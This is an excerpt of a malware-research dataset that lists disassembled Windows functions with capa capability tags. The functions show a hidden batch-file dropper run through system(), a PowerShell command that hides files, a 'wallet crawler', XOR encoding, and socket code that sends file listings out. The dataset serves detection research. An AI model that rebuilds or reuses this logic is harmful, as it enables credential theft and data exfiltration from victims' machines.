joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401619
Capabilities:
Contain obfuscated stackstrings
Delete file
Execute command
Get session user name

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push ecx
sub esp, 0x454
call dbg.__main
mov dword [esp + 4], 0x409024
mov dword [esp], 0x40d060
mov eax, dword [sym.imp.ADVAPI32.dll_GetUserNameA]
call eax
sub esp, 8
mov dword [ebp - 0x1e], 0x555c3a43
mov dword [ebp - 0x1a], 0x73726573
mov word [ebp - 0x16], 0x5c
mov dword [ebp - 0x45], 0x44707041
mov dword [ebp - 0x41], 0x5c617461
mov dword [ebp - 0x3d], 0x61636f4c
mov dword [ebp - 0x39], 0x65545c6c
mov dword [ebp - 0x35], 0x6b5c706d
mov dword [ebp - 0x31], 0x34315f6c
mov dword [ebp - 0x2d], 0x756e6977
mov dword [ebp - 0x29], 0x74616470
mov dword [ebp - 0x25], 0x622e7265
mov dword [ebp - 0x22], 0x746162
lea eax, [ebp - 0x45]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0x40d060
lea eax, [ebp - 0x1e]
mov dword [esp + 8], eax
mov dword [esp + 4], str._s_s_s
lea eax, [ebp - 0x239]
mov dword [esp], eax
call sym._sprintf
lea eax, [ebp - 0x239]
mov dword [esp], eax
call sym._create_specific_file
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
mov dword [esp + 4], eax
mov dword [esp], str.Returned_filepath:__s_n
call sym._printf
cmp dword [ebp - 0xc], 0
jne 0x401711
mov dword [esp], str.Create_crawler_batch_failed
call sym._puts
mov eax, 1
jmp 0x40179f
mov eax, dword [ebp - 0xc]
mov dword [esp + 8], eax
mov dword [esp + 4], str._s__s
lea eax, [ebp - 0x42d]
mov dword [esp], eax
call sym._sprintf
lea eax, [ebp - 0x42d]
mov dword [esp], eax
call sym._system
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x401751
mov dword [esp], str.File_execution_failed
call sym._puts
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._remove
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x401783
mov dword [esp], str.Removal_of_file_failed
call sym._puts
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._free
mov eax, 1
jmp 0x40179f
mov dword [esp], str.Removed_wallet_crawler_batch
call sym._puts
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._free
mov eax, 0
mov ecx, dword [ebp - 4]
leave
lea esp, [ecx - 4]
ret

Function at 0x4017a7
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
lea eax, [ebp - 0x14]
mov dword [esp + 4], eax
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call sym._base64_decode
mov dword [ebp - 0xc], eax
mov dword [esp + 4], 0x40a221
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._fopen
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._strlen
mov edx, dword [ebp - 0x10]
mov dword [esp + 0xc], edx
mov dword [esp + 8], eax
mov dword [esp + 4], 1
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._fwrite
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sym._fclose
mov eax, 0
leave
ret
Function at 0x401813
Capabilities:
Contain obfuscated stackstrings
Execute command

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x298
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x14], 7
mov dword [esp], 0x348
call sym._malloc
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], 0
jmp 0x401866
mov eax, dword [ebp - 0xc]
mov eax, dword [eax*4 + 0x409008]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sym._strcat
add dword [ebp - 0xc], 1
mov eax, dword [ebp - 0xc]
cmp eax, dword [ebp - 0x14]
jl 0x401849
mov dword [esp], str.twatter_make_a_fadoong_n
call sym._puts
add dword [ebp - 0x10], 1
mov eax, dword [ebp - 0x10]
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._creator_func
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
je 0x4018a5
mov dword [esp], str.Create_batch_failed
call sym._puts
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x3f], 0x65776f70
mov dword [ebp - 0x3b], 0x65687372
mov dword [ebp - 0x37], 0x53206c6c
mov dword [ebp - 0x33], 0x492d7465
mov dword [ebp - 0x2f], 0x506d6574
mov dword [ebp - 0x2b], 0x65706f72
mov dword [ebp - 0x27], 0x20797472
mov dword [ebp - 0x23], 0x7461502d
mov dword [ebp - 0x20], 0x206874
mov dword [ebp - 0x7c], 0x6d614e2d
mov dword [ebp - 0x78], 0x74412065
mov dword [ebp - 0x74], 0x62697274
mov dword [ebp - 0x70], 0x73657475
mov dword [ebp - 0x6c], 0x61562d20
mov dword [ebp - 0x68], 0x2065756c
mov dword [ebp - 0x64], 0x79535b28
mov dword [ebp - 0x60], 0x6d657473
mov dword [ebp - 0x5c], 0x2e4f492e
mov dword [ebp - 0x58], 0x656c6946
mov dword [ebp - 0x54], 0x72747441
mov dword [ebp - 0x50], 0x74756269
mov dword [ebp - 0x4c], 0x3a5d7365
mov dword [ebp - 0x48], 0x6469483a
mov dword [ebp - 0x44], 0x296e6564
mov byte [ebp - 0x40], 0
lea eax, [ebp - 0x7c]
mov dword [esp + 0x10], eax
mov eax, dword [ebp + 8]
mov dword [esp + 0xc], eax
lea eax, [ebp - 0x3f]
mov dword [esp + 8], eax
mov dword [esp + 4], str._s__s__s
lea eax, [ebp - 0x270]
mov dword [esp], eax
call sym._sprintf
lea eax, [ebp - 0x270]
mov dword [esp], eax
call sym._system
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0
je 0x4019a6
mov dword [esp], str.Set_attribute_of_file_to_hidden
call sym._puts
mov eax, dword [ebp + 8]
leave
ret
Function at 0x4019ac
Capabilities:
Encode data using base64

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov eax, dword [ebp + 0xc]
add eax, 2
mov edx, 0xaaaaaaab
mul edx
mov eax, edx
shr eax, 1
shl eax, 2
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
add eax, 1
mov dword [esp], eax
call sym._malloc
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
jne 0x4019ea
mov eax, 0
jmp 0x401b69
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x10], 0
jmp 0x401b0c
mov eax, dword [ebp - 0xc]
cmp eax, dword [ebp + 0xc]
jae 0x401a1b
mov eax, dword [ebp - 0xc]
lea edx, [eax + 1]
mov dword [ebp - 0xc], edx
mov edx, dword [ebp + 8]
add eax, edx
movzx eax, byte [eax]
movzx eax, al
jmp 0x401a20
mov eax, 0
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0xc]
cmp eax, dword [ebp + 0xc]
jae 0x401a41
mov eax, dword [ebp - 0xc]
lea edx, [eax + 1]
mov dword [ebp - 0xc], edx
mov edx, dword [ebp + 8]
add eax, edx
movzx eax, byte [eax]
movzx eax, al
jmp 0x401a46
mov eax, 0
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0xc]
cmp eax, dword [ebp + 0xc]
jae 0x401a67
mov eax, dword [ebp - 0xc]
lea edx, [eax + 1]
mov dword [ebp - 0xc], edx
mov edx, dword [ebp + 8]
add eax, edx
movzx eax, byte [eax]
movzx eax, al
jmp 0x401a6c
mov eax, 0
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x1c]
shl eax, 0x10
mov edx, eax
mov eax, dword [ebp - 0x20]
shl eax, 8
add edx, eax
mov eax, dword [ebp - 0x24]
add eax, edx
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x28]
shr eax, 0x12
and eax, 0x3f
mov ecx, eax
mov eax, dword [ebp - 0x10]
lea edx, [eax + 1]
mov dword [ebp - 0x10], edx
mov edx, dword [ebp - 0x18]
add edx, eax
movzx eax, byte [ecx + 0x40a280]
mov byte [edx], al
mov eax, dword [ebp - 0x28]
shr eax, 0xc
and eax, 0x3f
mov ecx, eax
mov eax, dword [ebp - 0x10]
lea edx, [eax + 1]
mov dword [ebp - 0x10], edx
mov edx, dword [ebp - 0x18]
add edx, eax
movzx eax, byte [ecx + 0x40a280]
mov byte [edx], al
mov eax, dword [ebp - 0x28]
shr eax, 6
and eax, 0x3f
mov ecx, eax
mov eax, dword [ebp - 0x10]
lea edx, [eax + 1]
mov dword [ebp - 0x10], edx
mov edx, dword [ebp - 0x18]
add edx, eax
movzx eax, byte [ecx + 0x40a280]
mov byte [edx], al
mov eax, dword [ebp - 0x28]
and eax, 0x3f
mov ecx, eax
mov eax, dword [ebp - 0x10]
lea edx, [eax + 1]
mov dword [ebp - 0x10], edx
mov edx, dword [ebp - 0x18]
add edx, eax
movzx eax, byte [ecx + 0x40a280]
mov byte [edx], al
mov eax, dword [ebp - 0xc]
cmp eax, dword [ebp + 0xc]
jb 0x4019fd
mov ecx, dword [ebp + 0xc]
mov edx, 0xaaaaaaab
mov eax, ecx
mul edx
mov eax, edx
shr eax, 1
mov edx, eax
add edx, edx
add edx, eax
mov eax, ecx
sub eax, edx
cmp eax, 1
je 0x401b3e
cmp eax, 2
je 0x401b4c
jmp 0x401b5b
mov eax, dword [ebp - 0x14]
lea edx, [eax - 1]
mov eax, dword [ebp - 0x18]
add eax, edx
mov byte [eax], 0x3d
mov eax, dword [ebp - 0x14]
lea edx, [eax - 2]
mov eax, dword [ebp - 0x18]
add eax, edx
mov byte [eax], 0x3d
nop
mov edx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x14]
add eax, edx
mov byte [eax], 0
mov eax, dword [ebp - 0x18]
leave
ret
Function at 0x402020
Capabilities:
Write file on windows

Disassembly:
push ebx
sub esp, 0x18
mov dword [esp], 2
lea ebx, [esp + 0x24]
call dbg.__acrt_iob_func
mov dword [esp + 8], 0x1b
mov dword [esp + 0xc], eax
mov dword [esp + 4], 1
mov dword [esp], str.Mingw_w64_runtime_failure:_n
call sym._fwrite
mov dword [esp], 2
call dbg.__acrt_iob_func
mov edx, dword [esp + 0x20]
mov dword [esp + 8], ebx
mov dword [esp], eax
mov dword [esp + 4], edx
call sym._vfprintf
call sym._abort
lea esi, [esi]

Function at 0x402080
Capabilities:
Allocate or change rwx memory

Disassembly:
push edi
push esi
push ebx
mov ebx, eax
sub esp, 0x30
mov esi, dword [0x40d490]
test esi, esi
jle 0x4021a0
mov eax, dword [0x40d494]
xor ecx, ecx
add eax, 0xc
mov edx, dword [eax]
cmp ebx, edx
jb 0x4020b4
mov edi, dword [eax + 4]
add edx, dword [edi + 8]
cmp ebx, edx
jb 0x402137
add ecx, 1
add eax, 0x14
cmp ecx, esi
jne 0x4020a0
mov dword [esp], ebx
call dbg.__mingw_GetSectionForAddress
mov edi, eax
test eax, eax
je 0x4021c7
mov eax, dword [0x40d494]
lea ebx, [esi + esi*4]
shl ebx, 2
add eax, ebx
mov dword [eax + 0x10], edi
mov dword [eax], 0
call dbg._GetPEImageBase
mov edx, dword [0x40d494]
add eax, dword [edi + 0xc]
mov dword [edx + ebx + 0xc], eax
lea edx, [esp + 0x14]
mov dword [esp + 8], 0x1c
mov dword [esp + 4], edx
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
sub esp, 0xc
test eax, eax
je 0x4021a7
mov eax, dword [esp + 0x28]
lea edx, [eax - 0x40]
and edx, 0xffffffbf
je 0x402130
lea edx, [eax - 4]
and edx, 0xfffffffb
jne 0x402140
add dword [0x40d490], 1
add esp, 0x30
pop ebx
pop esi
pop edi
ret
cmp eax, 2
mov edx, 4
mov eax, 0x40
mov ecx, dword [esp + 0x20]
cmove eax, edx
mov edx, dword [esp + 0x14]
add ebx, dword [0x40d494]
mov dword [ebx + 8], ecx
mov dword [ebx + 4], edx
mov dword [esp + 0xc], ebx
mov dword [esp + 8], eax
mov dword [esp + 4], ecx
mov dword [esp], edx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
sub esp, 0x10
test eax, eax
jne 0x402130
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esp], str.__VirtualProtect_failed_with_code_0x_x
mov dword [esp + 4], eax
call dbg.__report_error
lea esi, [esi]
lea esi, [esi]
xor esi, esi
jmp 0x4020be
mov eax, dword [0x40d494]
mov eax, dword [eax + ebx + 0xc]
mov dword [esp + 8], eax
mov eax, dword [edi + 8]
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov dword [esp + 4], eax
call dbg.__report_error
mov dword [esp + 4], ebx
mov dword [esp], str.Address__p_has_no_image_section
call dbg.__report_error
lea esi, [esi]
nop
Function at 0x4026e0
Capabilities:
Get thread local storage value

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x1c
mov dword [esp], 0x40d4ac
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov ebx, dword [0x40d4a4]
sub esp, 4
test ebx, ebx
je 0x402735
mov ebp, dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
lea esi, [esi]
mov eax, dword [ebx]
mov dword [esp], eax
call ebp
sub esp, 4
mov esi, eax
call edi
test eax, eax
jne 0x40272e
test esi, esi
je 0x40272e
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x402710
mov dword [esp], 0x40d4ac
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
sub esp, 4
add esp, 0x1c
pop ebx
pop esi
pop edi
pop ebp
ret

Function at 0x402a70
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [0x400000], 0x5a4d
jne 0x402a95
mov ecx, dword [0x40003c]
cmp dword [ecx + 0x400000], 0x4550
lea edx, [ecx + 0x400000]
je 0x402aa0
ret
cmp word [ecx + 0x400018], 0x10b
jne 0x402a95
push esi
movzx eax, word [ecx + 0x400014]
push ebx
movzx esi, word [ecx + 0x400006]
mov ebx, dword [esp + 0xc]
lea eax, [edx + eax + 0x18]
sub ebx, 0x400000
test si, si
je 0x402ae8
xor ecx, ecx
mov edx, dword [eax + 0xc]
cmp ebx, edx
jb 0x402ade
add edx, dword [eax + 8]
cmp ebx, edx
jb 0x402aea
add ecx, 1
add eax, 0x28
cmp ecx, esi
jne 0x402ad0
xor eax, eax
pop ebx
pop esi
ret
Function at 0x405b23
Capabilities:
Delete file
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x258
push ebx
mov ebx, dword [ebp + 0xc]
push esi
push edi
mov edi, dword [ebp + 8]
mov eax, ebx
and eax, 4
push edi
mov dword [ebp - 4], eax
call fcn.00405dee
test bl, 8
mov dword [ebp - 8], eax
je 0x405b62
push edi
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
neg eax
sbb eax, eax
inc eax
add dword [0x434fa8], eax
jmp 0x405cdf
mov dword [ebp + 8], ebx
and dword [ebp + 8], 1
je 0x405b7c
test eax, eax
je 0x405c8d
test bl, 2
je 0x405c8d
mov esi, str.C:UsersADMINI1AppDataLocalTemp_nskEDB7.tmpdownload.exe
push edi
push esi
call fcn.00406411
cmp dword [ebp + 8], 0
je 0x405b9b
push str..
push esi
call sub.KERNEL32.dll_lstrcatW
jmp 0x405ba1
push edi
call fcn.00405d32
cmp word [edi], 0
jne 0x405bb1
cmp word [str.C:UsersADMINI1AppDataLocalTemp_nskEDB7.tmpdownload.exe], 0x5c
jne 0x405bbc
push 0x40a014
push edi
call sub.KERNEL32.dll_lstrcatW
push edi
call sub.KERNEL32.dll_lstrlenW
lea ebx, [edi + eax*2]
lea eax, [ebp - 0x258]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov esi, eax
cmp esi, 0xffffffff
je 0x405c82
cmp word [ebp - 0x22c], 0x2e
jne 0x405c06
cmp word [ebp - 0x22a], 0
je 0x405c65
cmp word [ebp - 0x22a], 0x2e
jne 0x405c06
cmp word [ebp - 0x228], 0
je 0x405c65
lea eax, [ebp - 0x22c]
push eax
push ebx
call fcn.00406411
test byte [ebp - 0x258], 0x10
je 0x405c31
mov eax, dword [ebp + 0xc]
and eax, 3
cmp al, 3
jne 0x405c65
push dword [ebp + 0xc]
push edi
call fcn.00405b23
jmp 0x405c65
push dword [ebp - 4]
push edi
call fcn.00405adb
test eax, eax
jne 0x405c5d
cmp dword [ebp - 4], eax
je 0x405c55
push edi
push 0xfffffffffffffff1
call fcn.00405479
push 0
push edi
call fcn.004061d7
jmp 0x405c65
inc dword [0x434fa8]
jmp 0x405c65
push edi
push 0xfffffffffffffff2
call fcn.00405479
lea eax, [ebp - 0x258]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x405bde
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
cmp dword [ebp + 8], 0
je 0x405c8d
and word [ebx - 2], 0
xor esi, esi
cmp dword [ebp + 8], esi
je 0x405cdf
cmp dword [ebp - 8], esi
jne 0x405ca1
inc dword [0x434fa8]
jmp 0x405cdf
push edi
call fcn.0040676f
test eax, eax
je 0x405cdf
push edi
call fcn.00405ce6
mov eax, dword [ebp - 4]
or al, 1
push eax
push edi
call fcn.00405adb
test eax, eax
jne 0x405cd7
cmp dword [ebp - 4], esi
je 0x405c99
push edi
push 0xfffffffffffffff1
call fcn.00405479
push esi
push edi
call fcn.004061d7
jmp 0x405cdf
push edi
push 0xffffffffffffffe5
call fcn.00405479
pop edi
pop esi
pop ebx
leave
ret 8
Function at 0x402d64
Capabilities:
Generate random numbers using the delphi lcg

Disassembly:
push ebx
xor ebx, ebx
imul edx, dword [ebx + 0x408008], 0x8088405
inc edx
mov dword [ebx + 0x408008], edx
mul edx
mov eax, edx
pop ebx
ret

Function at 0x404624
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 8], ecx
mov edi, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00403bdc
xor eax, eax
push ebp
push 0x4046aa
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 8]
mov edx, dword [ebp - 4]
call fcn.00403914
mov eax, dword [ebp - 4]
call fcn.004039f4
mov esi, eax
test esi, esi
jle 0x404685
mov ebx, 1
lea eax, [ebp - 8]
call fcn.00403c3c
mov edx, dword [ebp - 4]
mov dl, byte [edx + ebx - 1]
xor dl, 0x2f
mov byte [eax + ebx - 1], dl
inc ebx
dec esi
jne 0x40466b
mov eax, edi
mov edx, dword [ebp - 8]
call fcn.004038d0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4046b1
lea eax, [ebp - 8]
mov edx, 2
call fcn.004038a0
ret

Function at 0x4046b8
Capabilities:
Send data
Send data on socket

Disassembly:
add esp, 0xfffffff8
mov eax, dword [0x4046e8]
mov dword [esp], eax
mov ax, word [0x4046ec]
mov word [esp + 4], ax
push 0
push 6
lea eax, [esp + 8]
push eax
mov eax, dword [0x4098f8]
push eax
call sub.wsock32.dll_send
pop ecx
pop edx
ret

Function at 0x404774
Capabilities:
Get hostname
Resolve dns

Disassembly:
push 0xff
push 0x409914
call sub.wsock32.dll_gethostname
push 0x409914
call sub.wsock32.dll_gethostbyname
test eax, eax
jne 0x40479d
push 0x7f000001
call sub.wsock32.dll_htonl
jmp 0x4047a4
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov eax, dword [eax]
push eax
call sub.wsock32.dll_ntohl
ret
Function at 0x404858
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffdf4
push ebx
push esi
push edi
xor edx, edx
mov dword [ebp - 0x208], edx
mov dword [ebp - 0x20c], edx
mov dword [ebp - 4], eax
mov ebx, 0x419914
lea edi, [ebp - 0x204]
xor eax, eax
push ebp
push 0x404996
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [ebp - 0x104], 0
mov byte [edi], 0
call sub.kernel32.dll_GetTickCount
mov esi, eax
push 0
push 0xff
lea eax, [ebp - 0x103]
push eax
mov eax, dword [0x4098f8]
push eax
call sub.wsock32.dll_recv
mov dword [ebx], eax
cmp dword [ebx], 0xffffffff
jne 0x4048e3
call sub.wsock32.dll_WSAGetLastError
mov dword [ebx], eax
cmp dword [ebx], 0x2733
jne 0x404962
cmp byte [0x41a424], 0
je 0x404954
mov dword [edi], 0xd216503
jmp 0x404962
lea eax, [ebp - 0x104]
mov edx, dword [ebx]
call fcn.004028a8
lea eax, [ebp - 0x208]
mov edx, edi
call fcn.004039ac
lea eax, [ebp - 0x208]
push eax
lea eax, [ebp - 0x20c]
lea edx, [ebp - 0x104]
call fcn.004039ac
mov edx, dword [ebp - 0x20c]
pop eax
call fcn.004039fc
mov edx, dword [ebp - 0x208]
mov eax, edi
mov ecx, 0xff
call fcn.004039d0
cmp byte [0x4080cc], 0
je 0x404962
call sub.kernel32.dll_GetTickCount
lea edx, [esi + 0x9c40]
cmp eax, edx
jae 0x404962
cmp byte [edi], 0
je 0x40489f
xor eax, eax
mov al, byte [edi]
cmp byte [edi + eax], 0xd
jne 0x40489f
xor edx, edx
mov dl, byte [edi]
dec edx
mov eax, edi
call fcn.004028a8
mov eax, dword [ebp - 4]
mov edx, edi
call fcn.004039ac
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40499d
lea eax, [ebp - 0x20c]
mov edx, 2
call fcn.004038a0
ret
Function at 0x4049a4
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffe9c
push ebx
push esi
push edi
xor edx, edx
mov dword [ebp - 0x164], edx
mov dword [ebp - 0x160], edx
mov dword [ebp - 0x15c], edx
mov dword [ebp - 0xc], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00403bdc
mov edi, 0x409914
xor eax, eax
push ebp
push 0x404b2a
push dword fs:[eax]
mov dword fs:[eax], esp
mov edx, dword [ebp - 4]
lea eax, [ebp - 0x158]
call fcn.00402b40
mov edx, 1
lea eax, [ebp - 0x158]
call fcn.00402e88
call fcn.00402690
test eax, eax
je 0x404a16
call fcn.004046b8
jmp 0x404afc
lea eax, [ebp - 0x158]
call fcn.00402cf8
mov esi, eax
push 0x404b40
lea edx, [ebp - 0x15c]
mov eax, esi
call fcn.004046f0
push dword [ebp - 0x15c]
push 0x404b54
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.00403ab4
push 0
mov eax, dword [ebp - 0xc]
call fcn.004039f4
push eax
lea eax, [ebp - 0xc]
call fcn.00403c3c
push eax
mov eax, dword [0x4098f8]
push eax
call sub.wsock32.dll_send
lea eax, [ebp - 0x160]
call fcn.00404858
mov eax, dword [ebp - 0x160]
mov edx, 0x404b60
call fcn.00403b38
je 0x404a96
lea eax, [ebp - 0x158]
call fcn.00402c84
jmp 0x404afc
xor ebx, ebx
lea eax, [ebp - 8]
push eax
mov edx, edi
mov ecx, 0x2000
lea eax, [ebp - 0x158]
call fcn.00402c44
push 0
mov eax, dword [ebp - 8]
push eax
push edi
mov eax, dword [0x4098f8]
push eax
call sub.wsock32.dll_send
add ebx, dword [ebp - 8]
lea eax, [ebp - 0x164]
call fcn.00404858
mov eax, dword [ebp - 0x164]
mov edx, 0x404b6c
call fcn.00403b38
je 0x404aed
lea eax, [ebp - 0x158]
call fcn.00402c84
jmp 0x404afc
cmp esi, ebx
jg 0x404a98
lea eax, [ebp - 0x158]
call fcn.00402c84
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x404b31
lea eax, [ebp - 0x164]
mov edx, 3
call fcn.004038a0
lea eax, [ebp - 0xc]
call fcn.0040387c
lea eax, [ebp - 4]
call fcn.0040387c
ret
Function at 0x404b70
Capabilities:
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffeac
push ebx
push esi
push edi
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00403bdc
xor eax, eax
push ebp
push 0x404cca
push dword fs:[eax]
mov dword fs:[eax], esp
mov edx, dword [ebp - 4]
lea eax, [ebp - 0x154]
call fcn.00402b40
mov edx, 1
lea eax, [ebp - 0x154]
call fcn.00402ea4
call fcn.00402690
test eax, eax
je 0x404bcb
call fcn.004046b8
xor ebx, ebx
jmp 0x404cb4
mov edx, 0x409914
mov ecx, 3
mov eax, 0x404ce4
call fcn.004026dc
push 0
push 3
push 0x409914
mov eax, dword [0x4098f8]
push eax
call sub.wsock32.dll_send
xor edi, edi
xor esi, esi
push 0
push 0x10000
push 0x409914
mov eax, dword [0x4098f8]
push eax
call sub.wsock32.dll_recv
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x404c30
call sub.wsock32.dll_WSAGetLastError
mov ebx, eax
cmp ebx, 0x2733
je 0x404bf7
call fcn.004046b8
xor ebx, ebx
jmp 0x404cb4
push 0
mov edx, 0x409914
mov ecx, ebx
lea eax, [ebp - 0x154]
call fcn.00402c64
call fcn.00402690
test eax, eax
je 0x404c61
call fcn.004046b8
lea eax, [ebp - 0x154]
call fcn.00402c84
xor ebx, ebx
jmp 0x404cb4
add esi, ebx
cmp esi, 0x2000
jge 0x404c74
mov eax, dword [ebp - 8]
sub eax, edi
cmp esi, eax
jne 0x404bf7
mov edx, 0x409914
mov ecx, 3
mov eax, 0x404ce4
call fcn.004026dc
push 0
push 3
push 0x409914
mov eax, dword [0x4098f8]
push eax
call sub.wsock32.dll_send
add edi, esi
cmp edi, dword [ebp - 8]
jne 0x404bf5
lea eax, [ebp - 0x154]
call fcn.00402c84
mov bl, 1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x404cd1
lea eax, [ebp - 4]
call fcn.0040387c
ret
Function at 0x404ce8
Capabilities:
Enumerate files on windows
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffea8
push ebx
push esi
push edi
xor edx, edx
mov dword [ebp - 0x158], edx
mov dword [ebp - 0x150], edx
mov dword [ebp - 0x154], edx
mov dword [ebp - 0x14c], edx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00403bdc
lea esi, [ebp - 0x148]
mov edi, 0x4098f8
xor eax, eax
push ebp
push 0x404ec9
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
call fcn.004025a8
call fcn.00402690
test eax, eax
je 0x404d4b
call fcn.004046b8
lea edx, [ebp - 8]
xor eax, eax
call fcn.00402618
lea eax, [ebp - 8]
mov edx, 0x404ee0
call fcn.004039fc
push 0
mov eax, dword [ebp - 8]
call fcn.004039f4
push eax
lea eax, [ebp - 8]
call fcn.00403c3c
push eax
mov eax, dword [edi]
push eax
call sub.wsock32.dll_send
mov eax, dword [ebp - 4]
call fcn.004039f4
mov edx, dword [ebp - 4]
cmp byte [edx + eax - 1], 0x5c
je 0x404d9d
lea eax, [ebp - 4]
mov edx, 0x404eec
call fcn.004039fc
push esi
lea eax, [ebp - 0x14c]
mov ecx, 0x404ef8
mov edx, dword [ebp - 4]
call fcn.00403a40
mov eax, dword [ebp - 0x14c]
call fcn.00403bec
push eax
call sub.kernel32.dll_FindFirstFileA
mov ebx, eax
test ebx, ebx
jne 0x404dcd
call fcn.004046b8
mov eax, dword [esi]
and eax, 0x10
cmp eax, 0x10
jne 0x404de6
lea eax, [ebp - 4]
mov edx, 0x404f04
call fcn.00403914
jmp 0x404df3
lea eax, [ebp - 4]
mov edx, 0x404f10
call fcn.00403914
push dword [ebp - 4]
lea edx, [ebp - 0x150]
mov eax, dword [esi + 0x20]
call fcn.004046f0
push dword [ebp - 0x150]
push 0x404f1c
lea eax, [ebp - 0x154]
lea edx, [esi + 0x2c]
mov ecx, 0x104
call fcn.004039b8
push dword [ebp - 0x154]
push 0x404ee0
lea eax, [ebp - 4]
mov edx, 5
call fcn.00403ab4
push 0
mov eax, dword [ebp - 4]
call fcn.004039f4
push eax
lea eax, [ebp - 4]
call fcn.00403c3c
push eax
mov eax, dword [edi]
push eax
call sub.wsock32.dll_send
push esi
push ebx
call sub.kernel32.dll_FindNextFileA
cmp eax, 1
sbb eax, eax
inc eax
test al, al
jne 0x404dcd
lea eax, [ebp - 4]
mov edx, 0x404f28
call fcn.00403914
push 0
push 3
lea eax, [ebp - 4]
call fcn.00403c3c
push eax
mov eax, dword [edi]
push eax
call sub.wsock32.dll_send
lea eax, [ebp - 0x158]
call fcn.00404858
push ebx
call sub.kernel32.dll_FindClose
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x404ed0
lea eax, [ebp - 0x158]
mov edx, 4
call fcn.004038a0
lea eax, [ebp - 8]
mov edx, 2
call fcn.004038a0
ret